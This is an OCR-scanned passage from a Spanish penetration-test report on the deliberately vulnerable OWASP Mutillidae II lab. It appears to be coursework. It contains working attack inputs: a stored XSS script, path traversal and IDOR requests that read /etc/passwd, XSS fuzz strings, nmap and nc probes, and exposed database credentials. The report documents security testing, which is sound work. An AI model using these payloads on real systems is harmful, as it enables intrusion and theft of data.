GET /index.php?page=document-viewer.php&PathToDocument=documentation/change-
log.html&PathToDocument=robots. txt&PathToDocument=documentation/mutillidae-
installation-on-xampp-win7.pdf&PathToDocument=documentation/how-to-access-Mutillidae-
over-Virtual-Box-network.php&document-viewer-php-submit-button=View%20Document--">"'>""

GET /level-1l-hints-page-wrapper.php?levellHintIncludeFile=19--">"'>

GET /styling.php?page-title=Styling"%20src=-->">"'>""
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OTG-INPVAL-002 Testing for Stored Cross Site Scripting
Descripcidén

Permite almacenar datos la aplicacion a través de los puntos de entrada
ofrecidos. Mas tarde, estos datos, si no son debidamente filtrados, se
presentaran al usuario como si fueran parte de la pagina web. En el caso de
gue se haya inyectado cédigo Javascript, este se ejecutara automaticamente
en el navegador del usuario al cargar la pagina que lo contenga.

Los pasos que se sueles seguir para realizar este ataque son:

e Un atacante almacena codigo malicioso en una pagina web.

e Un usuario se autentica en la aplicacion.

e El usuario visita la pagina vulnerable.

e El codigo malicioso es ejecutado por el navegador del usuario.

Herramientas:

e OWASP CAL9000

e PHP Charset Encoder (PCE)

e Hackvertor

e BeEF

e XSS-Proxy

e Backframe

WebScarab

Burp

XSS Assistant

OWASP Zed Attack Proxy (ZAP)

Pruebas realizadas

Se comprueba que la pagina es vulnerable a XSS persistente. Se introduce el
siguiente codigo Javascript en el formulario en el que se agregan nuevos
comentarios:

http://www.shopathome.com/index.php?page=add-to-your-blog.php

<script>alert('XSS Vulnerable')</script>

El cddigo Javascript se ejecuta en el navegador del usuario al visitar la pagina:
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Production

www.shopathome.com dice: Not Logged In
X55 Vulnerable

aw Captured D

Aceptar ]

]
[ Lime |[170 |
[cote o |

|

[ File ]l /owaspbwa/mutillidae-git/classes/MySQLHandler.php

fowaspbwa/mutillidae-git/classes/MySQLHandler.php on line 165: Error executing query:

connect_errno: 0

errno: 1064

error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'XSS Vulnerable')", now() )  at
line 1

client_info: 5.1.73

host_info: Localhost via UNIX socket

Message

) Query: INSERT INTO blogs_table(blogger name, comment, date) VALUES ("anonymous’,
'<geript>alert('XSS Vulnerable')</script>", now() ) (0) [Exception]

#0 /owaspbwa/mutillidae-git/classes/MySQLHandler.php(283): MySQLHandler-
>doExecuteQuery( ' ??2?2INSERT INT...') #1 /owaspbwa/mutillidae-
git/classes/SQ0LOueryHandler.php(155): MySOLHandler->executeQuery('??7??INSERT INT...')
#2 /owaspbwa/mutillidae-git/add-to-your-blog.php(l47): SQLQueryHandler-
>insertBlogRecord( ' anonymous', '

Welcome To The Blog }

Back g Help Me!
i@ L

llustracion 11: Testing for Stored Cross Site Scripting

2.2.4 A4 - Referencia Directa Insegura a Objetos

Una referencia directa a objetos ocurre cuando un desarrollador expone una
referencia a un objeto de implementacion interno, tal como un fichero,
directorio, o base de datos. Sin un chequeo de control de acceso u otra
proteccion, los atacantes pueden manipular estas referencias para acceder
datos no autorizados.

Verificar que todas las referencias a objetos tienes las protecciones
apropiadas.

Para referencias directas a recursos restringidos, la aplicacion
necesitaria verificar si el usuario estéa autorizado a acceder al recurso.

Si la referencia es una referencia indirecta, la correspondencia con la
referencia directa debe ser limitada a valores autorizados para el usuario
concreto.

Un andlisis del codigo de la aplicacion serviria para verificar rapidamente
si dichas propuestas se implementan con seguridad. También es efectivo
realizar comprobaciones para identificar referencias a objetos directos y
si estos son seguros. Normalmente las herramientas autométicas no son
capaces de reconocer cudles necesitan proteccion o cuales son seguros
e inseguros.
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OTG-AUTHZ-001 Testing Directory traversalffile include
Descripcidén

Aprovechando esta vulnerabilidad un atacante podria leer directorios o ficheros
gue normalmente no podria leer, acceder a datos fuera de la raiz de la web, o
incluir scripts y otros ficheros desde paginas externas.

Es necesario:

e Enumerar los vectores de entrada de la aplicacion.
e Aplicar las técnicas de testeo para comprobar si el punto de entrada es
vulnerable.

Un ejemplo puede ser el siguiente:
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Herramientas:

e DotDotPwn

e Path Traversal Fuzz Strings
e Web Proxy

e Encoding/Decoding tools

e String searcher “grep”

e DirBuster

e OWASP ZAP

Pruebas realizadas

Se prueba a introducir una ruta al fichero /etc/password en el parametro “page
de la pagina principal y se detecta que es vulnerable a Directory Traversal.

http://www.shopathome.com/index.php?page=../../../../etc/passwd

% OWASP Mutillidae Il: Web Pwn in Mass Production

lersion: 2.6.24  Security Level: 5 (Server-side Security) Hints: Disabled (0 - | try harder) Not Logged In
ome Login/Register Hide Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534 :sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh |p:x:7:7:Ip:var/spool/ipd:/bin/sh mail:x:8:8:mail:/ivar/mail:/bin/sh

_ news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy./bin:/bin/sh www-data:x:33:33:www-data:/variwww:/bin/sh

- backup:x:34:34:backup:/var/backups:/hin/sh list:x:38:38:Mailing List Manager:/var/list:/binfsh
irc:x:39:39:ircd:Avar/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System

- (admin):/varflib/gnats /bin/sh nobody x:65534:65534 :nobody /nonexistent:/binfsh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false

- klog:x:102:103::/home/klog:/bin/false mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
landscape:x:104:122::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin

m postgres:x:106:109:Postgre SQL administrator,,,:/var/lib/postgresql:/binbash

- messagebus:x:107:114::var/run/dbus:/bin/false tomcat6:x:108:115::/usr/share/tomcat6:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash

polkituser:x:109:118:PolicyKit,,,:var/run/PolicyKit/bin/false haldaemon:x:110:119:Hardware abstraction

layer,,,/varfrun/hald:/bin/false pulse:x:111:120:PulseAudio daemon,,,/var/run/pulse:/bin/ffalse

l postfix:x:112:123::/var/spool/postfix:/bin/false

llustracion 12: Testing Directory traversal/file include
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OTG-AUTHZ-004 Testing for Insecure Direct Object References
Descripcidén

Esta vulnerabilidad ocurre cuando una aplicacion proporciona un acceso
directo a un objeto basado en la entrada del usuario. Aprovechando esta
vulnerabilidad se pueden saltar los controles de acceso y autorizacion a los
recursos del sistema directamente, como por ejemplo informacion en base de
datos o acceso a ficheros.

Esta vulnerabilidad permite a un atacante acceder a recursos directamente
modificando los valores de los parametros o accediendo directamente a la ruta
del objeto.

Para chequear esta vulnerabilidad es necesario identificar todos los puntos de
entrada donde un usuario puede usar una referencia a un objeto directamente.
Después el auditor deberia de modificar el parametro usado y usar referencias
a objetos, y comprobar si es posible acceder a objetos que correspondan a
otros usuarios o saltarse las medidas de autorizacion definidas.

Pruebas realizadas

En la url http://mww.shopathome.com/index.php?page=source-viewer.php se
permite ver el cédigo fuente de ficheros .php. Se puede elegir el fichero a
visualizar de un listado:

( Source Code Viewer

\:;_ﬁ Back e Help Me!

Hints

To see the source of the file, choose and click "View File".
Note that not all files are listed.

Source File Name upload—file_phg

File: upload-file.php

<?php include_once (_ ROOT_ . /classes/FiletploadixceptionBandler.php’);?>
<?php include_once (_ ROOT__.'/includes/back-button.ine');?>
<?php include_once (_ ROOT_ . '/includes/hints-level-1/level-l-hints-meau-wrapper.inc'); 7=
<?php
try{
switch (§_SESSION( “security-lewel”]}{
case “0":
$lEpablejavaScriptValidation = FALSE;
§lEnableHTHLControls = FALSE;

§lvalidaterileUpload = FALSE;

llustracion 13: Testing for Insecure Direct Object References

Analizamos la peticion realizada, el fichero a visualizar se indica en el cuerpo
de la peticion POST, en la variable phpfile:

POST /index.php?page=source-viewer.php HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
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Referer: http://www.shopathome.com/index.php?page=source-viewer.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

page=source-viewer.php&phpfile=upload-file.php&source-file-viewer-php-submit-
button=View+File

Se modifica la peticion con Burp para que muestre el contenido del archivos del
sistema /etc/passwd:

POST /index.php?page=source-viewer.php HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=source-viewer.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 89

page=source-viewer.php&phpfile=/etc/passwd&source-file-viewer-php-submit-
button=View+File

Se comprueba que es vulnerable a Insecure Direct Object Reference:

(g L1ILS-]

Validation Error: Bad Selection

To see the source of the file, choose and click "View
File".
Note that not all files are listed.

Source File Name | upload-file.php vJ

View File

File: /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/shin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lpx:7:7:1p:/var/spool /lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool /news:/bin/sh
uucp:x:10:10:uucp:/var/spool fuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backun:x:34:34:backun:/var/backups:/bin/sh

llustracion 14: Vulnerable to Insecure Direct Object Reference

2.2.5 A5 - Configuracion de Seguridad Incorrecta

Una buena seguridad requiere tener definida e implementada una configuracién
segura para la aplicacién, marcos de trabajo, servidor de aplicacién, servidor
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web, base de datos, y plataforma. Todas estas configuraciones deben ser
definidas, implementadas, y mantenidas ya que por lo general no son seguras
por defecto. Esto incluye mantener todo el sotfware actualizado, incluidas las
librerias de cadigo utilizadas por la aplicacion.

e /Cuenta la aplicacién con el apropiado fortalecimiento en seguridad a
través de toas las capas que la componen?

e Software sin actualizar. Incluye el SO, Servidor web/aplicacion, DBMS,
aplicaciones, librerias.

e Habilitadas o instaladas caracteristicas innecesarias (puertos, servicios,
paginas, cuentas, privilegios).

e Cuentas por defecto y sus contraseias habilitadas y sin cambiar.

e Manejo de errores revelan rastros de las capas de aplicacion y otros
mensajes de error demasiado informativos a los usuarios.

e Estan las configuraciones de seguridad en su framework de desarrollo
(struts, spring, asp.net) y librerias sin configurar a valores seguros.

OTG-CONFIG-001 Test Network / Infrastructure Configuration
Descripcion

La infraestructura de un servidor web puede llegar a ser compleja y
heterogénea. Una sola vulnerabilidad en esta infraestructura puede
comprometer la seguridad de la aplicacibn web. De hecho, un pequefio
problema en una de las aplicaciones puede afectar a la seguridad otra
aplicacion en el mismo servidor. Es necesario realizar una revision en
profundidad de la configuracion y los problemas conocidos de seguridad
después de haber mapeado toda la infraestructura.

La correcta gestion de la configuracion del servidor web es muy importante
para preservar la seguridad de la aplicacién. Elementos como la base de datos,
el servidor web, o la autenticacion de los servidores deben estar configurados
correctamente para evitar introducir riesgos o introducir nuevas vulnerabilidad
gue se podrian aprovechar para comprometer la aplicacion.

e Los diferentes elementos que componen la infraestructura deberan ser
identificados, ademas de la interaccion entre ellos.

e Todos los elementos de la infraestructura deberan ser revisados para
estar seguros de que no contienen vulnerabilidades conocidas.

e Revisar las herramientas administrativas usadas para mantener los
diferentes elementos.

e Revisar los sistemas de autenticacién para asegurar que no pueden ser
manipulados por usuarios externos y conseguir acceso.

e Listar los puertos que son requeridos por la aplicacion y que deberian
ser mantenidos y bajo control.

Pruebas realizadas

Se lanza un escaneo de vulnerabilidades basico con Nessus a la direcciéon IP
de la maquina (192.168.1.138). Se detectan un total de 62 vulnerabilidades:
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Critical High Medium Low Info

2 1 15 3 41

Tabla 2: Vulnerabilidades encontradas con Nessus

Los informes ejecutivo y técnico generados por Nessus se adjuntan junto con
este documento por si se quiere obtener mas detalle de las vulnerabilidades
identificadas en la maquina.

OTG-CONFIG-002 Test Application Platform Configuration
Descripcién

Revision y chequeo de la configuracion de la arquitectura. Muchos sistemas
proporcionan una configuracion por defecto que podria contener muchas
funcionalidades de ejemplo, documentacion, paginas de prueba, que no son
necesarias y que deberian de ser eliminadas antes de pasar a un entorno de
produccion.

Pruebas que se podrian realizar:

e Fichero y directorios de prueba publicados.
e Revision de los comentarios en el cédigo.
e Configuracion del sistema.

Herramientas:

e Nikto
e Wapiti
e \Vega

Pruebas realizadas

Se lanza el scanner de vulnerabilidades web Nikto y se genera un fichero de
reporte que se adjunta con este documento.

Se puede consultar el resultado de las pruebas en el Anexo 5.

Se detectan multitud de problemas de seguridad, los mas importantes son:
software desactualizado y vulnerable, sitio vulnerable a shellshock,
vulnerabilidades RFI, paginas de administracion de base de datos accesibles
(phpmyadmin), vulnerable a file trasversal, XSS, etc.

Se realiza también un escaneo de vulnerabilidades con la herramienta Wapiti.
Se detectan vulnerabilidades XSS y SQLi. Se puede consultar el resultado de
las pruebas en el Anexo 6.

44



Se lanza también el scanner web Vega. Detecta alrededor de 1000
vulnerabilidades en el sitio web. Se presenta el resumen de la deteccion. La
herramienta no permite la exportacion de los datos.

Scan Alert Summary

© High (40 found)
Session Cookie Without Secure Flag 1
Session Cookie Without HttpOnly Flag 1
Remote File Include 2
Local File Include 2
Cross Site Scripting 11
MySQL Error Detected - Possible SQL Injection 2
SQL Injection 2
Cleartext Password over HTTP 2
Bash "ShellShock” Injection 17
© Medium {100 found)
HTTP Trace Support Detected 1
URL Injection 5
Local Filesystem Paths Found 55
Possible Source Code Disclosure 35
PHP Error Detected 4
0 Low (129 found)
Directory Listing Detected 112
Internal Addresses Found 15
Form Password Field with Autocomplete Enabled 2
O Info (702 found)
Character Set Not Specified 227
Cookie HttpOnly Flag Not Set 1
HTTP Error Detected 1
Blank Body Detected 467
Interesting Meta Tags Detected 3
Possible AJAX code detected 2

Version Control String Found 1

llustracién 15: Vulnerabilidades encontradas con Vega

OTG-CONFIG-003 Test File Extensions Handling for Sensitive
Information

Descripcién

Las extensiones de los ficheros pueden ser una informacion util y ser utilizadas
por un atacante para determinar las tecnologias que se estan usando y
simplificar las tareas de determinar el escenario del ataque.

Las extensiones de los ficheros pueden ser comprobadas a la hora de validar
un fichero al ser subido. Esto puede generar problemas si el contenido no es lo
gue se esperaba.

Determinar como se comporta el servidor web ante peticiones a ficheros con
diferentes extensiones puede ayudar a entender el comportamiento del servidor
dependiendo de los ficheros a los que se accede. Puede ayudar qué
extensiones de ficheros son los mostrados en texto plano y cuales ejecutados
en el servidor. Esto puede determinar las tecnologias, los idiomas o los
complementos utilizados por los servidores web, y puede proprorcionar
informacion sobre como esta disefiada la aplicaicén web.

Pruebas realizadas
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Tras las pruebas realizadas se detecta que la mayoria de los ficheros tienen
extension .php. Aunque se observan multitud de ficheros .inc en la ruta
http://www.shopathome.com/includes/ y en la carpeta
http://www.shopathome.com/includes/hints-level-1/ .

OTG-CONFIG-004 Review Old, Backup and Unreferenced Files for
Sensitive Information

Descripcidén

Analizar si existe informacion no referenciada u olvidada de la que se pueda
obtener informacion importante de la infraestructura o credenciales. Algunos
ejemplos son versiones antiguas de ficheros renombrados, backups
autométicos o manuales, ficheros que se pueden descargar como codigo
fuente.

Algunas amenazas:

e Ficheros no referenciados puede liberar informacion sensible que puede
facilitar un ataque contra la aplicacion.

e PA4ginas no referenciadas con funcionalidades que pueden ser usadas
durante un ataque.

¢ Ficheros de backups antiguos que contengan vulnerabilidades resultas
posteriormente.

e Los ficheros de backup puede liberar el codigo fuentes de las paginas
ejecutadas en el servidor.

e Los backups pueden contener copias de todos los ficheros de la carpeta
raiz de la web.

e Los archivos de logs pueden contener informacion sensible sobre las
actividades de los usuarios.

Pruebas realizadas

Se detectan multitud de fichero .inc con codigo de la aplicacion e informacién
sensible en la ruta http://www.shopathome.com/includes/. Un ejemplo de esto
es el fichero http://www.shopathome.com/includes/config.inc que contiene
informacion de la base de datos: usuario, nombre de la base de datos y
contrasena.

<?php
/* NOTE: On Samurai, the $dbpass password is "samurai" rather than blank */

/* PLEASE NOTE CAREFULLY: THIS PAGE IS DEPRECIATED BUT WILL REMAIN AS AN EASTER
EGG OR

* HACKING TARGET. THIS PAGE USED TO DATABASE CONNECTION INFORMATION

* BUT WAS REPLACED BY THE MySQLHandler CLASS.

*/
//%$dbhost = 'localhost’';
//$dbuser = 'root';
//%$dbpass = '';
//$dbname = 'owasplQ';

7>
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OTG-CONFIG-005 Enumerate Infraestructure and Application
Admin Interfaces

Descripcidén

Las interfaces de administracion permiten realizar tareas privilegiadas a los
usuarios del sitio web. En muchos casos estas interfaces no cuentan con las
suficientes protecciones a accesos no autorizados.

En este control se descubriran las interfaces de administracion y se accedera a
las funcionalidades previstas para los usuarios privilegiados.

Algunas técnicas para detectar la presencia de interfaces de administracion:

e Enumeracion de ficheros y directorios.

e Fuerza bruta de contenidos.

e Revisar los comentarios y cédigo fuente.

e Revisar la documentacién del servidor y la aplicacion.
e Revisar informacion publica disponible.

e Revisar puertos alternativos.

e Manipulacién de parametros.

Pruebas realizadas

Se detecta que la pagina cuenta con una interfaz de administracién el la
siguiente url:

http://www.shopathome.com/index.php?page=1login.php

Se detecta también una interfaz para la gestion de la base de datos en la
siguiente ruta:

http://www.shopathome.com/phpmyadmin/

OTG-CONFIG-006 Test HTTP Methods
Descripcién

Algunos de los métodos que ofrece HTTP pueden ser un riesgo potencial de
seguridad y podrian permitir a un atacante modificar ficheros almacenados o
robar credenciales de usuarios.

Los métodos que deberian ser desactivados son los siguientes:

e PUT: permite a un cliente subir nuevos ficheros al servidor. Un atacante
podria subir malware, o usar el servidor como repositorio de ficheros.

e DELETE: permite a un cliente borrar un fichero del servidor. Un atacante
podria realizar un defacement de la pagina web o montar un ataque de
denegacion de servicio.

e CONNECT: este método podria permitir utilizar el servidor web como un

proxy.
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e TRACE: este método devuelve cualquier cadena que se envie al

servidor, se usa principalmente para tareas de depuracion. Se puede
utilizar para lanzar un ataque Cross Site Tracing.

Pruebas que se pueden realizar:

e Descubrir los métodos soportados por el servidor.
e Probar si es vulnerable al ataque XST.

e Probar métodos HTTP arbitrarios.

e Probar a saltar el control de acceso para el HEAD.

Pruebas realizadas

Se detecta que no es posible obtener el listado de los métodos disponibles:

# nc www.shopathome.com 80

OPTIONS / HTTP/1.1

HTTP/1.1 400 Bad Request

Date: Sun, 10 Apr 2016 20:45:25 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

Vary: Accept-Encoding

Content-Length: 226

Connection: close

Content-Type: text/html; charset=iso0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />
</p>

</body></html>

# nmap -p 80 --script http-methods www.shopathome.com

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-05-14 18:43 CEST

Nmap scan report for www.shopathome.com (192.168.1.137)

Host is up (0.00038s latency).

PORT STATE SERVICE

80/tcp open http

| http-methods: No Allow or Public header in OPTIONS response (status code 200)
MAC Address: 08:00:27:6A:7E:C2 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Se detecta que el método TRACE esté activado:

# nmap --script http-trace www.shopathome.com

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-05-14 23:42 CEST
Nmap scan report for www.shopathome.com (192.168.1.137)
Host is up (0.00019s latency).

Not shown: 991 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

| _http-trace: TRACE is enabled

139/tcp open netbios-ssn

143/tcp open imap

443/tcp open https

| _http-trace: TRACE is enabled
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445/tcp open microsoft-ds

5001/tcp open commplex-1link

8080/tcp open http-proxy

8081/tcp open blackice-icecap

MAC Address: 08:00:27:6A:7E:C2 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds

OTG-CONFIG-007 Test HTTP Strict Transport Security
Descripcién

La cabecera HTTP Strict Transport Security (HSTS) es un mecanismo que
tienen los sitios web para comunicar a los navegadores que todo el trafico
intercambiado con el dominio dado tiene que ser siempre a través de un canal
HTTPS.

HSTS tiene dos directivas:

e max-age: numero de segundos que el navegador deberia de convertir
automaticamente todas las peticiones HTTP a HTTPS.

¢ includeSubDomains: indica que todas las aplicaciones de los
subdominios tienen que usar HTTPS.

Se comprobara la presencia de HSTS en las cabeceras interceptando las
respuestas con un proxy.

Pruebas realizadas

Se analizan las respuestas del servidor y no se detecta la presencia de la
cabecera HSTS:

HTTP/1.1 200 OK

Date: Sun, 10 Apr 2016 20:09:42 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1ubuntu4.30

Logged-In-User: admin

Vary: Accept-Encoding

Content-Length: 49460

Connection: close

Content-Type: text/html

OTG-ERR-001 Analysis of Error Codes
Descripcion

Durante las pruebas realizadas el servidor emitira muchos codigos de error. Es
posible forzar a que aparezcan esos errores y analizar la informacion que se
muestra. Esta informacion puede ser de gran ayuda para el auditor durante sus
pruebas, se puede obtener versiones de software utilizado, informacion de la
base de datos y como esta estructurada la informacion en ella o informacion de
otros componentes que estan enlazados con la aplicaciéon web.

En este control se analizaran los codigos de error mas comunes y se valorara
su importancia de cara a posibles vulnerabilidades.
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Pruebas realizadas

Se detecta que en la pagina de registro de usuario se provoca un error
introduciendo una comilla en el nombre de usuario. El sistema muestra gran
cantidad de informacién debido al error:

[ Failure is always an option

[ zime |im |
ceie |0 |
[ File ”iowasphwafmutillidac-gltfclasses!MYSQLHandlcr.php ‘

Jowaspbwa/mutillidae-git/classes/MySQLHandler.php on line 165:
Error executing guery:

connect_errno: 0

errno: 1064

error: You have an error in your SQL syntax; check the manual that

Message corresponds to your MySQL server version for the right syntax to
use near ''"', '", '')" at line 1

client_info: 5.1.73

host_info: Localhost via UNIX socket

) Query: INSERT INTO accounts (username, password, mysignature)
VALUES (''', "', "'} (0) [Exeception]

#0 fowaspbwa/mutillidae-git/classes/MySQLHandler.php(283):

MySQLHandler->doExecuteQuery (' INSERT INTO acc...') #1
fowaspbwa/mutillidae-git/classes/SQLOueryHandler.php(350):

Trace MySQLHandler-»executeQuery (' INSERT INTO acc...') #2
fowaspbwa/mutillidae-git/register.php(9%0): SQLOueryHandler-
rinsertNewUserAccount(’''', "', ') #3 fowaspbwa/mutillidae-
git/index.php(6l4): require_once('/owaspbwa/mutil..."') #4 {main}

Diagnotic . N

Information Failed to add account ‘
[ Click here to reset the DB

L

llustracién 16: Analysis of Error Messages

Se hace una peticion a una pagina inexistente para provocar un error 404 pero
no se muestra informacion del sistema:

Not Found

The requested URL ferror was not found on this server.

llustracion 17: Analysis of Not Found Message

OTG-ERR-002 Analysis of Strack Traces
Descripcidén

La informacién contenida en las trazas de la pila mostradas puede resultar
interesante para un atacante. Podria contener rutas a directorios internos o
como los objetos se referencian internamente. Esta informacion podria
utilizarse para construir un ataque.
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Pruebas realizadas

En la prueba anterior también se muestra informacion de la traza del error
generado, en esta traza se puede comprobar que la base de datos que usa la
aplicacion es MySQL.:

#0 /owaspbwa/mutillidae-git/classes/MySQLHandler.php(283): MySQLHandler-
>doExecuteQuery('INSERT INTO acc...')

#1 /owaspbwa/mutillidae-git/classes/SQLQueryHandler.php(350): MySQLHandler -
>executeQuery ('INSERT INTO acc..')

#2 /owaspbwa/mutillidae-git/register.php(90): SQLQueryHandler-

>insertNewUserAccount('"'*', "', '")
#3 /owaspbwa/mutillidae-git/index.php(614): require once('/owaspbwa/mutil...")
#4 {main}

2.2.6 A6 - Exposiciéon de Datos Sensibles

Muchas aplicaciones web no protegen adecuadamente datos sensibles tales
como numeros de tarjetas de crédito o credenciales de autenticacion. Los
atacantes pueden robar o modificar tales datos para llevar a cabo fraudes,
robos de identidad u otros delitos. Los datos sensibles requieren de métodos
de proteccion adicionales tales como el cifrado de datos, asi como también de
precauciones especiales en un intercambio de datos con el navegador.

Determinar el conjunto de datos sensibles que requeriran proteccion extra.

e Se almacenan en texto claro a largo plazo, incluyendo los backups.

e Se transmite en texto claro, interna o externamente.

e Se utiliza algun algoritmo criptogréafico débil/antiguo.

e Se generan claves criptogréaficas débiles, o falta una adecuada rotacion
0 gestién de claves.

e Se utilizan tanto cabezales como directivas de seguridad del navegador
cuando son enviados o provistos por el mismo.

OTG-CRYPST-001 Testing for Weak SSL/TLS Ciphers, Insufficient
Transport Layer Protection

Descripcion

Los datos transmitidos por la red deben estar protegidos para proteger la
confidencialidad. Se suelen usar canales cifrados via SSL/TLS que utilizan
mecanismos de clave publica para proteger la informacién en transito.

En este control se pueden comprobar varias cosas:

e Comprobar que la informacion sensible se transmite a través de un canal
SSL/TLS.

e La seguridad en el punto final, es decir, el extremo que crea el tunel
cifrado. Comprobar que no hay vulnerabilidades en el protocolo, en los
algoritmos de cifrado, claves y renegociacion.

e Problemas de seguridad en el cerficiado utilizado.
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e El software utilizado debe de estar actualizado para evitar posibles
vulnerabilidades que le puedan afectar.

e Eluso de la flag secure para las cookes de sesion.

e Uso de HTTP Strict Transport Security (HSTS)

e lLa presencia de HTTP y HTTPS, lo que puede ser usado para
interceptar trafico.

e La presencia de contenido mexclado HTTP y HTTPS en la misma
pagina, puede ser usado para realizar fugas de informacién.

Herramientas:
e testssl.sh

Pruebas realizadas

Se analizar4 con la herramienta testssl el servicio publicado en el puerto 443
gue es unico que se ha detectado que usa un protocolo cifrado. Se indica la
informacién mas relevante en el Anexo 7.

Se detectan varias vulnerabilidades presentes en el servicio, el uso de cifrados
inseguros, configuracion del servidor insegura y el uso de certificados
autofirmados y con una cadena de confianza insegura.

OTG-CRYPST-003 Testing for Sensitive Information sent via
unencrypted channels

Descripcién

Los datos sensibles tienen que ser protegidos al ser transmitidos por la red. Si
se utiliza HTTPS o cifrado de otra manera, estos mecanismos de proteccion no
deben tener vulnerabilidades que permitan comprometer la confidencialidad de
la informacion.

Algunos ejemplos de informacion sensible:

e |Informaciobn usada en la autenticacion (credenciales, pins,
indentificadores de sesion, tokens, cookies, ...).

¢ Informacion protegida por leyes, regulaciones o politicas especificas de
la organizacion (tarjetas de crédito, datos de clientes).

Si la aplicacién transmite datos sensible en canales no cifrados se considera un
riesgo de seguridad.

Algunos ejemplos de informacién personal sensible:

e Numeros de la seguridad social.

e Numeros de cuentas bancarias.

¢ Informacion de pasaporte.

¢ Informacidn relacionada con la salud.
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e Informacion del seguro médico.

e Informacion de estudiante.

e Numero de tarjetas de crédito y débito.
e Licencia de conducir.

Herramientas:

e burp

Pruebas realizadas

Aunqgue la aplicacion se sirve a través de un protocolo cifrado por el puerto 443,
no se realiza la redireccion automatica desde el puerto 80. Por este motivo, si
el usuario accede a través del protocolo sin cifrar es posible capturarle las
credenciales y la cookie de sesion mientras viajan por la red, como se puede
ver en la siguiente captura realizada con un proxy web:

J Raw I Params T Headers T Hex ]

POST findex.php?page=login. php HTTE/1.1

Host: www.shopathome. com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac ©8 X 10.9; rv:35.0) 3ecko/20100101 Firefox/35.0
Bocept: text/html,application/xhtml+xml, application/sml;gq=0.9,%/%;q=0.8
Accept-Lanquage: es-ES,es;qg=0.8,en-US;gq=0.5,en;q=0.3

Locept-Encoding: gzip, deflate

Referer: http://www.zhopathome.comdindex. php?page=login. php

Cookie: PHPBESSID=vtishpacalmeSdjaitedldpui?; showhints=1

Connection: keep-aliwve

Content-Type: application/x-www—form-urlencoded

Content-Length: 68

usernams=usuarickpassword=contrasetFlaklogin-php-submit-button=Login

llustracion 18: Sensitive Information sent via unencrypted channels

OTG-AUTHN-001 Testing Credential Transported over an
Encrypted Channel

Descripcién

El objetivo de este control es testear que las credenciales usadas para la
autenticacion de los usuarios es transmitida mediante canales cifrados para
evitar que sea interceptada por usuario ilegitimos.

Pruebas realizadas

Como se ha indicado en las pruebas realizadas en el control OTG-CRYPST-
003, no se realiza una redireccion automatica del puerto 80 al 443 (cifrado) por
lo que si el usuario se autentica a la pagina por el protocolo sin cifrar las
contrasefias se transmitiran en claro por la red.

OTG-INFO-001 Conduct Search Engine Discovery and
Reconnaissance for Information Leakage

Descripcién
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Comprobar si existe informacion sensible de la aplicacion/sistema/organizacion
0 de terceras partes expuesta publicada en Internet.

